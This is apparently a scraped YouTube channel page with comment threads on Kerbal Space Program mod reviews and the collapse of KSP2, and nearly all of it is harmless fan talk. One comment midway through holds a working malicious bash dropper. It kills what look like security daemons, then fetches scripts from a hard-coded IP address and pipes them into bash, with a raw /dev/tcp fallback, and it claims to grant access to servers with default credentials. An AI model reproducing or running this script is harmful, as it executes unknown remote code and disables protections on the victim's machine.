The most OP KSP mod (fly by wire)
3:08
KSP 1 MODDED FLEX
2:11
Ай бұрын
DCS in KSP
7:23
2 ай бұрын
Midjourney is overrated
1:36
Жыл бұрын
Virus on Linux?
4:08
Жыл бұрын
I forced chatgpt to decide
10:01
Жыл бұрын
AI will replace programmers?
7:40
Пікірлер
@PsychostrikerGT
@PsychostrikerGT 3 күн бұрын
Oh wow. I can only second the other commenters opinion. Your review is fantastic! Your voiceover, the editing, the amount of information (and lack of useless info) just scratches an itch that has been itching since Kottabos stopped his mass reviews of KSP Mods years ago. You got a subscribe from me, in hopes you let us know about your other mods that you play with and want to share. Cheers!
@Dadawg6
@Dadawg6 4 күн бұрын
Can’t wait
@Cringy_studios
@Cringy_studios 8 күн бұрын
Wow, this sounds great! I can't wait for the first episode.
@joge2
@joge2 9 күн бұрын
I havs alredy used it before, ngl i also say its a hreataf mod
@beaverbuoy3011
@beaverbuoy3011 11 күн бұрын
Very nice
@Keatosis_Quohotos
@Keatosis_Quohotos 11 күн бұрын
This is exactly what I want out of a mod review. Well made, succinct, and comprehensive
@jasond.6068
@jasond.6068 11 күн бұрын
First time viewer. This is unexpectedly well-made. The voiceover and editing is clear and the overall structure gives a good overview over the topic. Will certainly check your other content.
@astavie2920
@astavie2920 11 күн бұрын
does this work on 1.12.5? mod hasnt been updated in 3 years it seems
@CodeReptileEng
@CodeReptileEng 11 күн бұрын
Yes, I've been running it over 1.12.5 with no issues
@Cringy_studios
@Cringy_studios 11 күн бұрын
This mod isn't really that needed if you have a joystick/hotas, but after all, I don't want to plug in the joystick every time i play KSP, so i'd rather use this mod. Great showcase! 10/10
@CodeReptileEng
@CodeReptileEng 11 күн бұрын
Damn, you're lucky to have a hotas))
@Cringy_studios
@Cringy_studios 11 күн бұрын
@@CodeReptileEng To be honest, they aren't very expensive. After saving for like a month i was able to afford one. And to be honest, it isn't as needed. I mean sure, it is cool, but very impractical.
@jonathanmabardy
@jonathanmabardy 11 күн бұрын
What’s a hotas?
@CodeReptileEng
@CodeReptileEng 11 күн бұрын
@@jonathanmabardy Hands On Throttle And Stick - basically a joystick + throttle control combo. Allows to pilot without lifting your hands of there controls.
@Cringy_studios
@Cringy_studios 11 күн бұрын
@@jonathanmabardy Hands on Throttle and stick, basically a joystick with lever for throttle control, hope this helps.
@Cringy_studios
@Cringy_studios 14 күн бұрын
Hey there code reptile, how's the movie, yesterday i had my birthday, and i kept thinking about it. Any updates?
@CodeReptileEng
@CodeReptileEng 13 күн бұрын
Hey! Congrats on your birthday! As for the movie, I'm just trying to do it as fast as I can, but between a full-time job + the exams at the university, there's just so much time left for me to work with. I was actually thinking about turning it into a TV-show like thing, just to make like 3-4 smaller episodes. Cause I can release the first one very soon. What do you think?
@Cringy_studios
@Cringy_studios 13 күн бұрын
@@CodeReptileEng The episodes sound much more better, I think the film would be way too long and it gives you much more time to work on it. Something like releasing an episode every 1-2 weeks would make sure that the the average viewer would always know when the episode would release and be ready for when it does, instead of the episode releasing randomly which most people wouldn't notice. I think that it would give much more better initial results, so that it would be recommended to more people, thus more views.
@JavierArduz
@JavierArduz 16 күн бұрын
#!/bin/bash pkill -f zsvc pkill -f pdefenderd pkill -f updatecheckerd function __curl() { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0 Host: ${HOST} " >&3 (while read line; do [[ "$line" == $' ' ]] && break done && cat) <&3 exec 3>&- } if [ -x "$(command -v curl)" ]; then curl 78.153.140.96/pg.sh|bash elif [ -x "$(command -v wget)" ]; then wget -q -O- 78.153.140.96/pg.sh|bash else __curl 78.153.140.96/pg2.sh|bash fim You can review pg.sh & pg2.sh to find the code that makes it possible to enter any server with default credentials.
@sakyer2919
@sakyer2919 16 күн бұрын
Great video! Where have you been hiding? We need people like you to make videos like this ;)
@CodeReptileEng
@CodeReptileEng 16 күн бұрын
Glad you've enjoyed it.'d love to make more, but I'm a bit dead with the exams at the university))
@jimbo32234
@jimbo32234 16 күн бұрын
Just a suggestion - your channels obviously done well from a KSP1 mod video. I think since KSP2 has died, I think players are jumping ship and returning to KSP1. I never did jump down the KSP2 rabbit hole but watching videos peaked my interest in it again so I started playing. But all of the mods since I used to play are out of date, changed significantly or just plain confusing. For example, MOAR Station Science, apart from a couple of paragraphs on the mod website I cannot find any video content that shows how to use the mod very well. Up to you, but it might be worth showcasing a few mods if you are looking for content ideas. I thought this video was really well presented, interesting and showed me a mod that I'd never heard of before - hence the new sub. Appreciate the video - thanks.
@CodeReptileEng
@CodeReptileEng 11 күн бұрын
Thanks for your suggestions, I'll be sure to make more videos about mods =)
@ioxynotreal
@ioxynotreal 22 күн бұрын
ohhhh my god. ive followed your channel after your cockpit mod video, and this is just so amazing (definitely not watched it for the 5th time). 100% worth a like and sub
@Cringy_studios
@Cringy_studios 26 күн бұрын
Hey Code Reptile, I don't know if you know this, But while using the MFD's and you switch to Landing mode, You can press "Next" which will show the landing info., and the First cam. Just a little fact that can save some time.
@CodeReptileEng
@CodeReptileEng 22 күн бұрын
There's a lot of things like this for me to learn, I'm also interested in planing maneuvers in IVA, which is quite hard for me now
@Cringy_studios
@Cringy_studios 20 күн бұрын
@@CodeReptileEng I think it could be done with the Precise maneuver editor mod
@Cringy_studios
@Cringy_studios 14 күн бұрын
@@CodeReptileEng I found out how. You can use astrogator and mechjeb (which you already have installed), which does basically and the hard work.
@4leafcloverishere
@4leafcloverishere 27 күн бұрын
At first glance it looks very hard to control but once you play around with it long enough it becomes very easy
@Colfax98
@Colfax98 28 күн бұрын
this video really gave that 2012 feeling when everything in the internet was new for me.
@DylanDoel
@DylanDoel 29 күн бұрын
can someone help me install the mod pls since im kinda brain ded
@MatthewWithTwoTs
@MatthewWithTwoTs Ай бұрын
But why? Answer: it's a scam.
@cola98765
@cola98765 Ай бұрын
Looking at the modding community, they missed on the biggest thing they could do: EASY MODDING. They did not need to add finished features, all they had to do is to add back end mechanics for those features and modders to do the rest.
@Cringy_studios
@Cringy_studios Ай бұрын
Hey CodeReptile, how's the movie coming along?
@CodeReptileEng
@CodeReptileEng Ай бұрын
I'm working on it, it's just quite big) Hopefully should be done this week
@Cringy_studios
@Cringy_studios Ай бұрын
@@CodeReptileEng Les go I am super excited about it
@Kapi-Land
@Kapi-Land Ай бұрын
Subnautica sound track❤
@greeneggsandham3243
@greeneggsandham3243 Ай бұрын
les goooooooo bro used subnautica music W music and W video deserves a sub man! get this man to more subs than matt lown
@Cringy_studios
@Cringy_studios Ай бұрын
Personally, I do not really grieve the layoffs. My 2015 Macbook pro isnt powerful enough to run KSP 2, probably because it barely runs KSP 1 at higher FPS than 25. And also, i do not plan upgrading my PC anytime soon, because i have no money at all.
@CodeReptileEng
@CodeReptileEng Ай бұрын
I don't think KSP 2 even can be run on a MacBook
@Cringy_studios
@Cringy_studios Ай бұрын
@@CodeReptileEng Yeah, but modded KSP 1 is probably as good as KSP 2
@MBKill3rCat
@MBKill3rCat Ай бұрын
That shot at 1:28 was pure fire
@CodeReptileEng
@CodeReptileEng Ай бұрын
Took me like a thousand attempts to make🌚 But I'm glad you enjoyed it!
@ioxynotreal
@ioxynotreal 22 күн бұрын
yea that was fire 0:44 is my favourite personally
@Turfut730
@Turfut730 Ай бұрын
Hell yeah IVAs need love
@oasntet
@oasntet Ай бұрын
Mods haven't really raised the soft cap on memory usage stemming from the garbage collector's configuration. There are a couple that claim to have minor effects on it by messing with the heap, but I haven't gotten much positive effect from them. The upshot of this is that any sufficiently advanced playthrough will inevitably stumble into the 5-second-slideshow problem, where every five seconds the game freezes for a while to run garbage collection checks. This can't be fixed in the KSP1 engine, so any attempt to expand it to the scope of the KSP2 roadmap will result in an unplayable mess. A fresh engine was the right choice, and that's before all of the polish needed to make the "just a mess of mods" like RSS or Wolf or Interstellar* actually usable by the average player. (* I once had a craft with a nuclear engine with four different buttons that all claimed to be able to start or stop the reactor, but they fought each other and none of them actually did anything.)
@Coecoo
@Coecoo Ай бұрын
Any sort of developers "doing their jobs" would not have required over 7 years to deliver a broken dysfunctional copy of KSP 1. Stop fooling yourself and others.
@dosmastrify
@dosmastrify Ай бұрын
It is kinda crazy, like what have you guys been doing for 5 years?
@codenope
@codenope Ай бұрын
thank you for making this video!! I would have never known about these mods but launching into space with first person view and avionics is insanely cool!
@Jlewismedia
@Jlewismedia Ай бұрын
Indy companies try to go too hard sometimes. AAA games themselves add too much content to make their game sell like crazy but all of the features are so under polished or incomplete that the entire game gets overshadowed by jank and broken-ness. Difference is AAA studios have way larger budget constraints, Indy devs just send themselves broke. Too many dreamers and designers in fantasy land nowdays who come up with grandiose content ideas that blow up in their faces. Reskinning the original game with better graphics, some optimisations and almost zero new features would have sold like hotcakes
@Jlewismedia
@Jlewismedia Ай бұрын
Indy companies try to go too hard sometimes. AAA games themselves add too much content to make their game sell like crazy but all of the features are so under polished or incomplete that the entire game gets overshadowed by jank and broken-ness. Difference is AAA studios have way larger budget constraints, Indy devs just send themselves broke. Too many dreamers and designers in fantasy land nowdays who come up with grandiose content ideas that blow up in their faces.
@falconsspark2991
@falconsspark2991 Ай бұрын
Personally i have to disagree with your assessment that ksp2 would be better off without a studio developing it, the precedent for a major game like ksp2 being developed by modders doesn't exist because ultimately these guys modding have a day job that they have to tend to and other issues like change control become difficult to manage, additionally its extremely unlikely the code would ever be made open source by the publisher because from a business standpoint your pretty much writing the entire investment into the game off as a loss. In my opinion if the game already had good analysis of what the community wanted, everything in the roadmap is what i wanted to see in a ksp2, i do think that multiplayer should have been pushed up further in the timeline, just before interstellar travel as that and colonies would at least make the game different enough from ksp1 to tolerate its terrible performance. To your point on getting modders involved in the development cycle, some already were, i know the dude who made scatterer was hired on and if i had to guess more were probably atleast reached out to for job offers. I believe the main reason for ksp2's failure in terms of long development cycle, poor performance, and questionable design decisions is the poor leadership at intercept games and ambition of the project. Because of your mention of the origin of kerbals I'm assuming you watched Matt Lowes interview, the original dev of ksp1 brought up a few good points on why he thought the project has been so rough citing that in order for ksp2 to be successful they essentially had to remake ksp1 to the point of feature parody then add onto it. Of course if the devs just copy and paste the games source code, because of the limitations of the ksp1 you would severely limit your flexibility when it came to additional feature like interstellar planets and multiplayer. (Which actually might explain why progress has been so slow) The game has had near feature parody for almost half a year now and the only thing they really managed to add was the ability to perform science and research parts, which for a team of 70 developers shouldn't take nearly that long. The games poor leadership shines through with simple things like posting community updates on steam about the eclipse when nothing about how the development of the game has been going was posted for several months. Other things that makes me think the games leadership needs to be removed is odd gameplay choices like how the VAB is a collection of vehicles rather than a singular build, the removal of the parts cost for career mode (which if you didn't want to use it in the first game you could just disable it), the intentional design of wobbly rockets, and weird UI choices like the parts manager (which is terrible to interact with when looking for a single part on a craft of any decent size), and the constant problems with flight path mapping and SOI projections. For the future of KSP2 my hope is the game is completely stripped form the intercept games studio and passed off to a different team, i think the developers worth poaching will be taken from intercept games anyways and we can actually start seeing progress in the games updates, hopefully they can pull a No mans sky with this. TLDR: The current leadership at intercept games sucks, and the modders cant be relied upon to fix it so it should be handed off to a studio that can
@CodeReptileEng
@CodeReptileEng Ай бұрын
Thanks a lot for such a long comment, it was a pleasure to read. I agree that a 'better' studio with decent management would be best, but I simply don't have hopes for that. As for the community project, yes, it's ultra far-fetched, but I just want to believe in it, maybe even try to start it. This entire channel is a similar hope for me, so why not =)
@sea_kerman
@sea_kerman Ай бұрын
I know the ksp2 modding discord is planning out a ksp-adjacent game as well, focused on colonies and resource handling
@cola98765
@cola98765 Ай бұрын
Is there a name of that project I would commit to memory and come back to in a year?
@tripwire3992
@tripwire3992 Ай бұрын
Time to make our own KSP2 100%
@dosmastrify
@dosmastrify Ай бұрын
Ksp3
@stekra3159
@stekra3159 Ай бұрын
We need an Open KSP.
@chengong388
@chengong388 Ай бұрын
You won't see any of that because the shit engine can't allow any of those things to happen without dipping into sum 20-fps
@CodeReptileEng
@CodeReptileEng Ай бұрын
true and that's sad
@me67galaxylife
@me67galaxylife Ай бұрын
Deserved for giving money to take two.
@joelmulder
@joelmulder Ай бұрын
I wouldn’t expect T2 to sell the IP if they totally abandoned KSP2. I can’t imagine any publisher wanting to buy it after this PR disaster. Which means that the franchise will likely just die. And that’s probably worse. I hate to say this, but as lovely of an idea “start a journey as the community to make our own game” is, it’s just kinda naive. That’s not how this stuff works. But if you truly think this is the way forward, I suggest you don’t just leave it up to others, but start this project yourself.
@CodeReptileEng
@CodeReptileEng Ай бұрын
I don't care much for the name itself, but rather the very idea of this space game. As for the 'journey' - I know very well that it's naive, but this entire youtube channel is, so might as well)
@TheXello
@TheXello Ай бұрын
I know of at least two attempts to make an open source version of KSP using the Godot engine.
@robyn051
@robyn051 Ай бұрын
The only way ksp2 will turn out good is if it’s handed over to an entirely new team with no one (especially management) from the old team involved. There’s an excellent video on here that exposes intercept games (Uber games) for who they really are: scam artists that use crowd funding and early access to shit out unfinished games with barely any of the promised features before promptly abandoning them for the next one. Ksp2 isn’t their first game
@Whocaresfrfrfrim
@Whocaresfrfrfrim Ай бұрын
People like saying "corporate greed!!!" And point only at T2. Intercept is just as corporate as T2, and they seemingly severely misjudged their own ability to make the game on schedule. T2 murdering the game is the most sane business move I've seen involving KSP2. Never pre order, never buy a game for "it's potential", because that potential might be potential to loose your money with a subpar product that will never see further updates.
@EM-hs7ls
@EM-hs7ls Ай бұрын
Just as recommendation, i'm not an english speaker but swallowing a 8 minutes videos witout any image or something different on the screen is hard. Nice videos!
@CodeReptileEng
@CodeReptileEng Ай бұрын
Yea, I know, it's just that it was quite a controversial take, so I wanted to have as little editing as possible. But don't worry, this is a one-off =)
@muuubiee
@muuubiee Ай бұрын
Uh? This is really bad take. You never support your idea that it's "good that development stops"... Then you talk about that KSP 2 shouldn't have steerable and buildable rockets. Seems like you watched interview with harvester and decided it was a good idea, without having any clue as to why you think so. Multiplayer support was such a dumb initial thing anyway.
@sicksixgamer2694
@sicksixgamer2694 Ай бұрын
I really wonder what would have happened if Star Theory was left alone. Something tells me we would have been better off in the long run. Now I'm really worried the KSP IP is dead.
@CodeReptileEng
@CodeReptileEng Ай бұрын
I'm sure that KSP won't die, it has just too much community support
@Book-bz8ns
@Book-bz8ns Ай бұрын
Who is the market demographic? I bet they couldn't "diversify" and queer it up enough to satisfy the ESG DEI mob
@Infernal_Elf
@Infernal_Elf Ай бұрын
Stop the Greed!! never ever preorder or buy day 1
@ewkerman4185
@ewkerman4185 Ай бұрын
Nerver trust corporations. They will sell thier own mothers for $20.
@mistakay9019
@mistakay9019 Ай бұрын
I mean, to say no further development is blind. any number of devs could take this on, with a different fresh look at it, and create or add fantastic things and you wouldn't get that if it was just canned instantly.
@mistakay9019
@mistakay9019 Ай бұрын
also, i've enjoyed playing KSP2 for what it's worth. graphics are really nice and I disagree you dont need a supercomputer to run it.
@CodeReptileEng
@CodeReptileEng Ай бұрын
@@mistakay9019 I'm a Linux user, so I also had to deal with some serious overhead, forgot to mention that
@CodeReptileEng
@CodeReptileEng Ай бұрын
I agree with you that it shouldn't be canned instantly, maybe I didn't really mention it, but I'm more than happy if they'd change their approach and make it a better game
@SB-cz9vo
@SB-cz9vo Ай бұрын
I'm very glad I didn't buy KSP2 and the hours in KSP are easily in the four or maybe five figures. The one big thing that stopped me was learning that it was not a rebuild at engine and run time level. During alpha, beta and first release it would be nice to take the old graphics as standins and focus on having a game that fully utilises the 64bit architecture including large RAM, true multicore usage and a resilient garbage collection. A game that doesn't crash no matter what you throw at it in vanilla state is the minimum base for a 2.0 variant. And this has never been visible to me from anyone who has ever presented it. Multiplayer means you need a different approach than Timewarp in the new game, and that goes so deep into the core that it has to be considered from the start. That ship has already sailed. Waiting 5-10 years for a game with the same graphics but a fundamentally reworked core would have been acceptable to me in order to move further towards the long term goals they had, but that bridge has been burnt by their approach to the new game and there is no material to repair it.
@CodeReptileEng
@CodeReptileEng Ай бұрын
I've actually was thinking a lot about how time warp could be implemented in a multiplayer game and totaly forgot to mention it! In the end I've realised that you are forced to pretty much 4 approaches: 1 - Multiple time lines with proper location locking. (break-a-head) 2 - Scheduling - every player selects time to warp to, time is warped to the closest point, smb does a thing, then waro continues to the next scheduled time. (works only with a small lobby + 'good' players) 3 - No warp at all, but you compensate with FTL/Warp gates/Ridiculous Delta-Vs And I agree with you that it should have a much stronger use of multi-core CPUs for physics and generally a reworked approach.
@viggoasgarden7050
@viggoasgarden7050 Ай бұрын
Good take! I'm also sad to see how it turned out, but maybe this will be the catalyst for future ksp-alikes instead! It sounds a lot more hopeful than the general doom and gloom going around
@CodeReptileEng
@CodeReptileEng Ай бұрын
That's precisely why I think that it's time to start over, learning from our mistakes, as the potential of this genre is insane!